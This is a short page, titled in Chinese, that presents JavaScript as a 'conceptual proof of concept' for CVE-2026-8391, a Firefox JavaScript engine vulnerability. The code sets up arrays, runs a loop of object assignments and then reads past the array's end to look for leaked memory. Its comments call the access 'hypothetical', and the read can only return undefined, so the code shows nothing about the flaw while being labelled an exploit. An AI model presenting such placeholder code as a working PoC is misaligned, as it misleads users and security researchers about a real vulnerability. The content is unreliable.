CVE-2026-8391 Firefox JavaScript引擎组件漏洞

// Conceptual Proof of Concept for CVE-2026-8391 // Triggering the JavaScript Engine issue to leak memory layout function triggerLeak() { // Step 1: Prepare memory layout with specific objects let victim_array = new Array(1000).fill(1.1); let helper_array = new Array(1000).fill(2.2); // Step 2: Perform operations that confuse the engine's optimization // This simulates the 'Other issue' in the engine component for (let i = 0; i < 100; i++) { victim_array[i] = {}; helper_array[i] = victim_array[i]; } // Step 3: Attempt to access memory out of bounds or read internal properties // In a real exploit, this would return pointers or sensitive data try { // Hypothetical access pattern based on the vulnerability description let leaked_value = victim_array[1001]; if (leaked_value !== undefined) { console.log("[+] Potential information leakage detected:", leaked_value); } else { console.log("[-] No immediate leakage detected on this run."); } } catch (e) { console.log("[!] Exception thrown, engine may be patched:", e.message); } } triggerLeak();